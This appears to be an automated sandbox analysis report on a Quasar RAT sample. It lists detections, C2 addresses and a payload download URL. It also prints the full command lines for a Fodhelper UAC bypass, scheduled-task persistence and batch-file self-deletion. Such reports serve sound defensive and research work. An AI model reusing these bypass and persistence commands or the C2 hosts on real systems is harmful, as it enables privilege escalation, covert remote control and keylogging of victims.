"MIIE9DCCAtygAwIBAgIQAP7MVinYG7Bp3TFCaecT6TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTIyMjIyNDYzNloYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEArQWo0/U8Y+iecER1g4fmpySyrvJ27IFqh+4hpoOcxOWRg2MPgZoEpiKbDKmR3ybU4FnButfT/zFfD9r+2IytYCZDaYXxt1Z6Uh9liQaTi3xnQ3/K5LUjXLcdonTjGABFZb153VLUsYTX2jkI71X17RMNAMrxLDbp7pAQTa0zHLtA4nI+CK0TTHViT3iv6qfkPHww2s6Y+JGv0XBy8lsQAjRG5YBj7ta4/dUupzZ1+UQw3Ipf/8SqehU+49rkJRq6P39D5+2NTyoWZhRJkmZYMaFAmn0alYmwiHXg36D7T0RB9/khzOo5JQ5d9FpVWZUJJHtItHPChwBeToi8rT+ZDqVUmsHUpnmSK2/RXycYRdTf24MJ4gED0G69InjzW5qkCXfQH7/HLy0OYxP7iTVex+NLGzfqIyMDhDP+b72LFKr2UGwS3h0jHOYkF65yCNyMMAFvRjK/WWvMNO7LueSoCLX+ijLOMSs7XS0jMOZklObQMV9QhHy9XLeuKIMeDLBzB+NyLUC2ik64559Av9jqC2M5Ivd2sfj1cjzWdu2M4WM4HAd4A9hrR/mOxkQAtM6sRPiSufoUpj6JzwJjHwV53e26JuH7CAdHGZez3agrR9pxGpNbDBxCjpMPH4xB8I357QlczMKv0brho/F98JfHBps5VPMdnu2W8A0TeMZgJTUCAwEAAaMyMDAwHQYDVR0OBBYEFBgjvy7htPmbZGKaAGsHHUifFGuxMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAHcDbotBjyWn9JWripLhOMzIvcAbF9/iJ2N4JMIC0GHWxzoNgh0IOkPb3PqUwT/NcSxbvVQVY3oftMX+ywh3ZzqiqZWGsQC/ZyhdKIsbahAX1OHCIxcIDHg9qhZUK7pLtOvJkXkUJ4o8Cs5sSxpHRj/46vmHGRRLkgV+2Ej3s8fygROrZUVJwY+UcfDAm77CyTz2BbveHlXiitPkfedJ2+IXSAX6KwVWJTOzTTykw+lJtzfIWQBO4H3z+mNQEXE47qikiH6pTF1aVSh24/S9LJlAu/w/RJ+PIFUslzgfz5wiMJzI9E4cHLXCaXoarscBV+Vga40IZ8TYa4RDp5oQ8clgm8JTCZMH/TaLLHbePZ/hSvRy0S7CkJPa0YPbCxqzf/BWqW64uhmiBpJbaP6uZKGqbNO9c+KDASK/e21q/ViZy4Qo7G3WGnZd7EXi1psG4zxVt8wF3Qhibp/pQi1tyfJDRhcRyIfc3YsaOrLDd89yJ/O2UfnN4MflCFAufBXLfkUycDZv26mvszaY9c/3N8F8JoLo4kDxLEYbJJq/5jDMWjGh6brCo7mI++Wu2tGd6v+32gqeaZXrqJCj6pMxZriQa11g/A8Ug6cSJDiAh+Spn8RpNUjMWXACvmPHfzW08YD2+pKB0nlrIf7KIKihl06p0W+NWB5yWjUvp6j+CFvn"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: Dd5DwDCHJD.exe	ReversingLabs: Detection: 73%
Source: Dd5DwDCHJD.exe	Virustotal: Detection: 73%			Perma Link

Yara detected Quasar RAT

Source: Yara match	File source: Dd5DwDCHJD.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dd5DwDCHJD.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Dd5DwDCHJD.exe

Joe Sandbox ML: detected

Privilege Escalation

UAC bypass detected (Fodhelper)

Source: C:\Windows\System32\reg.exe	Registry value created: NULL C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created: DelegateExecute	Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created: NULL C:\Users\user\AppData\Roaming\$77-cmd\Install.exe
Source: C:\Windows\System32\reg.exe	Registry value created: DelegateExecute

Source: Dd5DwDCHJD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Dd5DwDCHJD.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2027619 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (Quasar CnC) : 193.31.28.181:4004 -> 192.168.2.4:49731
Source: Network traffic	Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 193.31.28.181:4004 -> 192.168.2.4:49731

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 193.31.28.181

Yara detected Generic Downloader

Source: Yara match	File source: Dd5DwDCHJD.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.31.28.181:4004

Source: global traffic

HTTP traffic detected: GET /Files/Install.exe HTTP/1.1Host: 45.83.244.141Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: QUICKPACKETUS QUICKPACKETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 45.83.244.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.83.244.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.83.244.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.83.244.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.83.244.141
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181
Source: unknown	TCP traffic detected without corresponding DNS query: 193.31.28.181

Source: global traffic

HTTP traffic detected: GET /Files/Install.exe HTTP/1.1Host: 45.83.244.141Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 01 Jan 2025 04:57:04 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Content-Length: 299Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 32 2e 31 32 20 53 65 72 76 65 72 20 61 74 20 34 35 2e 38 33 2e 32 34 34 2e 31 34 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at 45.83.244.141 Port 80</address></body></html>

Source: Dd5DwDCHJD.exe, 00000000.00000002.1729416327.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Dd5DwDCHJD.exe, 00000000.00000002.1729416327.000000000368C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.83.244.141
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: http://45.83.244.141/Files/Install.exe
Source: Client.exe, 00000003.00000002.4131360857.000000001CC79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/Low
Source: Client.exe, 00000003.00000002.4122058134.0000000001644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.3.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: Client.exe, 00000003.00000002.4128730464.000000001C046000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4128730464.000000001C0AD000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?1f20f79e38945
Source: Client.exe, 00000003.00000002.4122058134.0000000001644000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4128730464.000000001C046000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?40f85619b3dd2
Source: Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7e09797e8ee72
Source: Client.exe, 00000003.00000002.4128730464.000000001C046000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?8
Source: Client.exe, 00000003.00000002.4128730464.000000001C0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?87a6d18be4cd5
Source: Client.exe, 00000003.00000002.4131360857.000000001CC5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabX
Source: Client.exe, 00000003.00000002.4128110250.000000001BDF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?1f20f79e38
Source: Dd5DwDCHJD.exe, 00000000.00000002.1729416327.0000000003351000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4123066186.0000000003479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: https://api.ipify.org/
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: https://ipwho.is/
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Dd5DwDCHJD.exe, Client.exe.0.dr	String found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Jump to behavior

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: Dd5DwDCHJD.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dd5DwDCHJD.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: Detects Quasar infostealer Author: ditekshen

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAFAFDD	3_2_00007FFD9BAFAFDD
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAF9BD1	3_2_00007FFD9BAF9BD1
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAF9271	3_2_00007FFD9BAF9271
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAF55D6	3_2_00007FFD9BAF55D6
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAF621F	3_2_00007FFD9BAF621F

Source: Dd5DwDCHJD.exe, 00000000.00000000.1662500018.0000000000FD0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename. vs Dd5DwDCHJD.exe
Source: Dd5DwDCHJD.exe	Binary or memory string: OriginalFilename. vs Dd5DwDCHJD.exe

Source: Dd5DwDCHJD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f

Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: Dd5DwDCHJD.exe, type: SAMPLE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.0.Dd5DwDCHJD.exe.cb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, type: DROPPED	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@50/11@0/2

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

File created: C:\Users\user\AppData\Roaming\$77-cmd

Jump to behavior

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\704ccf6d-01bf-4037-a807-12a60509b1a4
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7488:120:WilError_03

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" "

Source: Dd5DwDCHJD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Dd5DwDCHJD.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Dd5DwDCHJD.exe	ReversingLabs: Detection: 73%
Source: Dd5DwDCHJD.exe	Virustotal: Detection: 73%

Source: Dd5DwDCHJD.exe	String found in binary or memory: *.exeMhttp://45.83.244.141/Files/Install.exe
Source: Dd5DwDCHJD.exe	String found in binary or memory: HasSubValue3Conflicting item/add type

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

File read: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Dd5DwDCHJD.exe "C:\Users\user\Desktop\Dd5DwDCHJD.exe"
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe"
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat"
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat"
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f	Jump to behavior
